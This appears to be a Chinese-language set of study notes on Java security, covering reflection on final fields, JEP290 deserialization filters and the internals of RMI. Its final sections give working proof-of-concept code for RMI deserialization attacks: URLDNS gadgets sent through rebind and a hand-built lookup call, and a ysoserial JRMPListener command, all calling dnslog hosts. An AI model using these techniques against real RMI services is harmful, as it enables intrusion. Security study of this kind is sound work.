public
等属性的值的修改很简单。但private
,final
的值修改有改变。
比如修改下类的4个属性。
- class privateClass {
- private String privateField = "private value";
- private final String finalPrivateField = "final private value";
- private static String staticPrivateField = "static private value";
- private static final String finalStaticPrivateField = "final static private value";
-
- public String getPrivateField() {
- return privateField;
- }
-
- public String getFinalPrivateField() {
- return finalPrivateField;
- }
-
- public static String getStaticPrivateField() {
- return staticPrivateField;
- }
-
- public static String getFinalStaticPrivateField() {
- return finalStaticPrivateField;
- }
- }
- Field privateField = cls.getDeclaredField("privateField");
- privateField.setAccessible(true);
- privateField.set(obj, "changed private value");
- System.out.println(obj.getPrivateField());
修改private
属性的值需要setAccessible(true)
- Field finalPrivateField = cls.getDeclaredField("finalPrivateField");
- finalPrivateField.setAccessible(true);
-
- Field modifiers = Field.class.getDeclaredField("modifiers");
- modifiers.setAccessible(true);
- newModifiers = finalPrivateField.getModifiers() & ~Modifier.FINAL;
- modifiers.setInt(finalPrivateField, newModifiers);
-
- finalPrivateField.set(obj, "changed final private value");
- System.out.println(finalPrivateField.get(obj));
- System.out.println(obj.getFinalPrivateField());
final
的值无法直接修改,可以通过modifiers
清除该属性的final
关键字,然后再赋值。
上例中的输出如下
- finalPrivateField.get(obj) --> changed final private value
- obj.getFinalPrivateField() --> final private value
getFinalPrivateField
的结果没有改变,这其实是编译器的锅。因为其设置为final
,编译器优化getFinalPrivateField
的代码为
- public String getFinalPrivateField() {
- return "final private value";
- }
所以输出不变。
- Field staticPrivateField = cls.getDeclaredField("staticPrivateField");
- staticPrivateField.setAccessible(true);
- staticPrivateField.set(null, "changed static private value");
- System.out.println(privateClass.getStaticPrivateField());
static
可以直接改,实例改为null
。
本文参照以下网址学习:
filterCheck
是在 JEP290 实现的一种防御机制。用于反序列化时,利用过滤器对反序列化类型进行过滤。
当一个类反序列化时,会进入这里对类利用自定义的过滤器进行检查。
我们这里使用以下代码进行测试:
- import sun.misc.ObjectInputFilter;
-
- import java.io.ByteArrayInputStream;
- import java.io.ByteArrayOutputStream;
- import java.io.ObjectInputStream;
- import java.io.ObjectOutputStream;
- import java.security.PrivilegedAction;
- import java.util.HashMap;
-
- public class test {
- public static void main(String[] args) throws Exception {
-
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
-
- HashMap
hm = new HashMap(); - hm.put("name", "afkl");
-
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(hm);
- oos.flush();
- oos.close();
-
- ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
- ObjectInputStream ois = new ObjectInputStream(bais);
-
- // 利用特权模式指定对应ObjectInputStream对象的Filter
- java.security.AccessController.doPrivileged((PrivilegedAction
) () -> { - ObjectInputFilter.Config.setObjectInputFilter(ois, filter::testFilter);
- return null;
- });
-
- Object obj = ois.readObject();
- System.out.println(obj.toString());
- }
-
- static class filter {
- public static ObjectInputFilter.Status testFilter(ObjectInputFilter.FilterInfo filterInfo) {
- // 获取传入的Class类型
- Class> cls = filterInfo.serialClass();
-
- // 对传入的Class类型进行检查
- if (cls == HashMap.class) {
- System.out.println("wow");
- return ObjectInputFilter.Status.REJECTED;
- }
- return ObjectInputFilter.Status.ALLOWED;
- }
- }
- }
-
- /*
- 输出:
- wow
- 七月 22, 2021 11:25:29 下午 java.io.ObjectInputStream filterCheck
- INFO: ObjectInputFilter REJECTED: class java.util.HashMap, array length: -1, nRefs: 1, depth: 1, bytes: 61, ex: n/a
- Exception in thread "main" java.io.InvalidClassException: filter status: REJECTED
- at java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1452)
- at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2117)
- at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1971)
- at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2281)
- at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1788)
- at java.io.ObjectInputStream.readObject(ObjectInputStream.java:586)
- at java.io.ObjectInputStream.readObject(ObjectInputStream.java:496)
- at test.main(test.java:30)
- */
ObjectInputFilter.Status
一共有三种类型
- enum Status {
- UNDECIDED, // 不确定,但不会报错打断执行
- ALLOWED, // 通过
- REJECTED; // 不通过,会报错打断当前的反序列化
- }
在调用特权模式时,调用栈如下:
- setInternalObjectInputFilter:1417, ObjectInputStream (java.io)
- access$000:222, ObjectInputStream (java.io)
- setObjectInputFilter:295, ObjectInputStream$1 (java.io)
- setObjectInputFilter:298, ObjectInputFilter$Config (sun.misc)
- lambda$main$0:26, test
- run:-1, 000000000000000000 (test$$Lambda$4)
- doPrivileged:678, AccessController (java.security)
- main:25, test
首先进入ObjectInputFilter$Config
的setObjectInputFilter
方法。
- public static void setObjectInputFilter(ObjectInputStream inputStream, ObjectInputFilter filter) {
- Objects.requireNonNull(inputStream, "inputStream");
- sun.misc.SharedSecrets.getJavaOISAccess().setObjectInputFilter(inputStream, filter);
- }
getJavaOISAccess
里取出了ObjectInputStream
在静态代码块定义的一个匿名对象。
随后进入该匿名对象的setObjectInputFilter
方法。再次调用实例的setInternalObjectInputFilter
方法
最后为serialFilter
赋值。
- public class RMIClient {
- public static void main(String[] args) {
- try {
- Registry reg = LocateRegistry.getRegistry(9999);
- // 这里reg获取的是RegistryImpl_Stub对象
- Object obj = reg.lookup("calc");
- System.out.println(obj.toString());
-
- calcImpl calc = (calcImpl) obj;
- calc.add(1, 1);
-
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
Client
的lookup
、bind
、rebind
等操作均在RegistryImpl_Stub
类内定义。这些操作都是使用opnum
来进行识别。如下展示的lookup
流程(仅展示部分重要代码)
- // 创建一个新的远程通信,重要的是那个2,2是lookup流程的操作数(opnum)
- StreamRemoteCall call = (StreamRemoteCall)ref.newCall(this, operations, 2, interfaceHash);
-
- try {
- // 获取输出流,并写入string来获取希望的对象。
- java.io.ObjectOutput out = call.getOutputStream();
- out.writeObject($param_String_1);
- } catch (java.io.IOException e) {
- throw new java.rmi.MarshalException("error marshalling arguments", e);
- }
-
- ref.invoke(call); // 其内部调用 call.executeCall 执行一次远程通信
- java.rmi.Remote $result;
-
- try {
- // 获取输入流,并反序列化输入流
- java.io.ObjectInput in = call.getInputStream();
- $result = (java.rmi.Remote) in.readObject();
- } catch (ClassCastException | IOException | ClassNotFoundException e) {
- call.discardPendingRefs();
- throw new java.rmi.UnmarshalException("error unmarshalling return", e);
- } finally {
- ref.done(call); // 释放远程通信
- }
-
- return $result;
其它的操作大体相同,大致流程都为:
根据操作数获取远程通信->序列化并发送操作需要的参数->获得回复并处理->释放远程通信
上例获取的obj
是一个动态代理对象,获取的obj
是一个动态代理对象,其处理器为RemoteObjectInvocationHandler
。calc
是obj
转换成对应接口的对象。假设calc
调用接口中对应的方法,因为其实际为代理类,所以会调用到RemoteObjectInvocationHandler
的invoke
方法中。
- public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
- if (! Proxy.isProxyClass(proxy.getClass())) {
- throw new IllegalArgumentException("not a proxy"); // 是否是代理类
- }
-
- if (Proxy.getInvocationHandler(proxy) != this) {
- throw new IllegalArgumentException("handler mismatch"); // 是否实现InvocationHandler接口
- }
-
- if (method.getDeclaringClass() == Object.class) { // 调用的方法的声明在Object里的话
- return invokeObjectMethod(proxy, method, args); // 直接去调用Object类里的方法
- } else if (
- "finalize".equals(method.getName()) &&
- method.getParameterCount() == 0 &&
- !allowFinalizeInvocation)
- {
- return null; // ignore
- } else {
- return invokeRemoteMethod(proxy, method, args); // 其它情况调用远程对象
- }
- }
跟进至invokeRemoteMethod
,其主要代码如下图:
开始会检测对应的代理对象是否是Remote
的实例,其中Remote
是一个空的接口。如果proxy
不是Remote
的实例,即没有实现Remote
接口的话,便会抛出报错。代理对象是Remote
的实例有两种情况(可能更多)。
- // 1. 接口直接继承Remote接口
- interface testImpl extends Remote {
- public int add(int a, int b);
- }
-
- // 2. 接口的实现类同时继承Remote接口
- class testImplHandler1 implements testImpl, Remote {
- @Override
- public int add(int a, int b) {
- return a + b;
- }
- }
第二个是查看对应方法的声明类是否是Remote
的超类。不是的话直接抛错。
最后调用ref.invoke
,其中ref
是UnicastRef
类的实例。其对应的重要代码如下:
- {...}
-
- Connection conn = ref.getChannel().newConnection(); // 获取TCP链接
- RemoteCall call = null;
- boolean reuse = true;
-
- {...}
-
- call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum); // 获取以流为基础的远程通信
-
- {...}
-
- ObjectOutput out = call.getOutputStream(); // 获取输出流
- marshalCustomCallData(out); // 空方法
-
- // 获取调用方法的参数的类型
- Class>[] types = method.getParameterTypes();
- for (int i = 0; i < types.length; i++) {
- marshalValue(types[i], params[i], out); // 序列化对应值
- }
-
- {...}
-
- call.executeCall(); // 执行远程调用
-
- {...}
-
- Class> rtype = method.getReturnType(); // 获取方法的返回值
-
- if (rtype == void.class) // void返回null
- return null;
-
- ObjectInput in = call.getInputStream(); // 获取输入流
-
- Object returnValue = unmarshalValue(rtype, in); // 反序列化远程调用返回的序列化值
-
- {...}
-
- ref.getChannel().free(conn, true); // 释放TCP链接
-
- {...}
-
- return returnValue;
- import calc.calcRemote; // 一个普通的类实现
-
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
-
- public class RMIServer {
- public static void main(String[] args) {
- try {
- Registry reg = LocateRegistry.createRegistry(9999);
- // 这里reg获取到的是RegistryImpl对象
- reg.bind("calc", new calcRemote());
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
当收到Client
的请求时,Server
会调用RegistryImpl_Skel
的dispatch
方法。通过魔数来switch
选择调用方法。
- public void dispatch(java.rmi.Remote obj, java.rmi.server.RemoteCall remoteCall, int opnum, long hash)
- throws java.lang.Exception {
- if (opnum < 0) {...} else {...}
-
- sun.rmi.registry.RegistryImpl server = (sun.rmi.registry.RegistryImpl) obj;
- StreamRemoteCall call = (StreamRemoteCall) remoteCall;
- switch (opnum) {
- case 0: // bind(String, Remote)
- {...}
-
- case 1: // list()
- {...}
-
- case 2: // lookup(String)
- {...}
-
- case 3: // rebind(String, Remote)
- {...}
-
- case 4: // unbind(String)
- {..}
-
- default:
- throw new java.rmi.UnmarshalException("invalid method number");
- }
- }
对于lookup
请求,服务器最后会调用至UnicastServerRef
的dispatch
方法。
较为重要的代码片段如下。
- MarshalInputStream marshalStream = (MarshalInputStream) in; // 获取输入流
- marshalStream.skipDefaultResolveClass();
-
- Method method = hashToMethod_Map.get(op); // 通过hash在hashmap中获取方法
- if (method == null) { // 没有对应方法就报错
- throw new UnmarshalException("unrecognized method hash: " +
- "method not supported by remote object");
- }
-
- // unmarshal parameters
- Object[] params = null;
- try {
- unmarshalCustomCallData(in);
- // 反序列化参数,调用 UnicastRef::unmarshalValue 方法
- params = unmarshalParameters(obj, method, marshalStream);
- } catch (Exception e) {
- // ...
- } finally {
- call.releaseInputStream(); // 释放连接
- }
-
- // make upcall on remote object
- Object result;
- try {
- result = method.invoke(obj, params); // 调用对应的方法
- } catch (InvocationTargetException e) {
- throw e.getTargetException();
- }
-
- // marshal return value
- try {
- ObjectOutput out = call.getResultStream(true);
- Class> rtype = method.getReturnType();
- if (rtype != void.class) {
- marshalValue(rtype, result, out); // 序列化调用结果
- }
- } catch (IOException ex) {
- // ...
- } finally {
- call.releaseInputStream(); // in case skeleton doesn't
- call.releaseOutputStream();
- }
marshalValue
和unmarshalValue
会分别进行序列化和反序列化。这两个方法在客户端和服务端都会出现。
注册中心代码如下
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
-
- public class RMIServer {
- public static void main(String[] args) {
- try {
- Registry reg = LocateRegistry.createRegistry(9999);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
Server
- import java.io.IOException;
- import java.io.Serializable;
- import java.lang.reflect.Field;
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.Method;
- import java.lang.reflect.Proxy;
- import java.net.InetAddress;
- import java.net.URL;
- import java.net.URLConnection;
- import java.net.URLStreamHandler;
- import java.rmi.Remote;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- import java.util.HashMap;
- import java.util.Map;
-
- public class RMIClient {
- public static void main(String[] args) {
- try {
- Registry reg = LocateRegistry.getRegistry(9999);
- Remote obj = getEvilCalc();
-
- // rebind或者bind 触发反序列化
- reg.rebind("calc", obj);
-
- System.out.println("ok");
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
-
- private static Remote getEvilCalc() throws Exception {
-
- // ----URLDNS gadget----
- String url = "http://9ragt0.dnslog.cn";
- URLStreamHandler ush = new SilentURLStreamHandler();
- HashMap ht = new HashMap();
- URL u = new URL(null, url, ush);
- ht.put(u, url);
-
- Class> cls = u.getClass();
- Field hc = cls.getDeclaredField("hashCode");
- hc.setAccessible(true);
- hc.setInt(u, -1);
- // ----URLDNS gadget----
-
- // 利用jdk原生代理使payload对象动态实现Remote接口
- InvocationHandlerImpl handler = new InvocationHandlerImpl(ht);
- Remote exp = (Remote)Proxy.newProxyInstance(
- handler.getClass().getClassLoader(),
- new Class[]{Remote.class},
- handler
- );
-
- return exp;
- }
-
- static class SilentURLStreamHandler extends URLStreamHandler {
-
- protected URLConnection openConnection(URL u) throws IOException {
- return null;
- }
-
- protected synchronized InetAddress getHostAddress(URL u) {
- return null;
- }
- }
-
- static class InvocationHandlerImpl implements InvocationHandler, Serializable {
- protected Map map;
-
- public InvocationHandlerImpl(Map map) {
- this.map = map;
- }
-
- public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
- return null;
- }
- }
- }
在低版本中,注册中心的lookup
方法使用了readObject
。所以client
可以通过lookup
攻击注册中心。
因为通过LocateRegistry.getRegistry
方法得到的RegistryImpl_Stub
对象的lookup
方法只支持传入字符串。所以这里重新实现lookup
方法传入恶意对象。
攻击代码如下
- public class RMIClient {
- public static void main(String[] args) {
- try {
- Registry reg = LocateRegistry.getRegistry(9999);
- CAttackR.CustomCallRegistry(reg, getEvilObject("http://d2iutj.dnslog.cn"));
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
-
- public static Remote getEvilObject(String url) throws Exception {
- // URLDNS payload
- }
- }
- public class CAttackR {
- public static void CustomCallRegistry(Registry reg_stub, Object evilObj) throws Exception {
- //===获取一些常量方便下面的调用===
- Field FieldRef = reg_stub.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
- FieldRef.setAccessible(true);
- UnicastRef ref = (UnicastRef)FieldRef.get(reg_stub);
-
- Field FieldOperations = reg_stub.getClass().getDeclaredField("operations");
- FieldOperations.setAccessible(true);
- Operation[] operations = (Operation[])FieldOperations.get(reg_stub);
- //===获取一些常量方便下面的调用===
-
- // 模拟lookup过程
- StreamRemoteCall call = (StreamRemoteCall)ref.newCall(
- (RemoteObject) reg_stub,
- operations,
- 2,
- 4905912898345647071L
- );
- java.io.ObjectOutput out = call.getOutputStream();
- out.writeObject(evilObj);
- ref.invoke(call);
- }
- }
在高版本中,lookup
的readObject
替换为readString
。上面的方法就用不了了。
因为marshalValue
和unmarshalValue
两个方法的都会在client
和Server
中调用。所以两者之间是可以相互攻击的。
当然,这种攻击对两者之间共同使用的接口有很大关系。
Object
类型的参数。Object
类型。使用yso
启动一个JRMP
的恶意服务器。只要C或者S获取此服务器的注册中心,并执行rmi
的动作(list / unbind / lookup / rebind / bind)就会被反序列化攻击。
- java.exe -cp yso.jar ysoserial.exploit.JRMPListener 7777 URLDNS "http://jb7uvs.dnslog.cn"
- * Opening JRMP listener on 7777
- Have connection from /169.254.17.51:3916
- Reading message...
- Sending return with payload for obj [0:0:0, 0]
- Closing connection
- public class RMIClient {
- public static void main(String[] args) {
- try {
- Registry reg = LocateRegistry.getRegistry(7777);
- calcInterface obj = (calcInterface) reg.lookup("calc");
- obj.add(1, 2);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }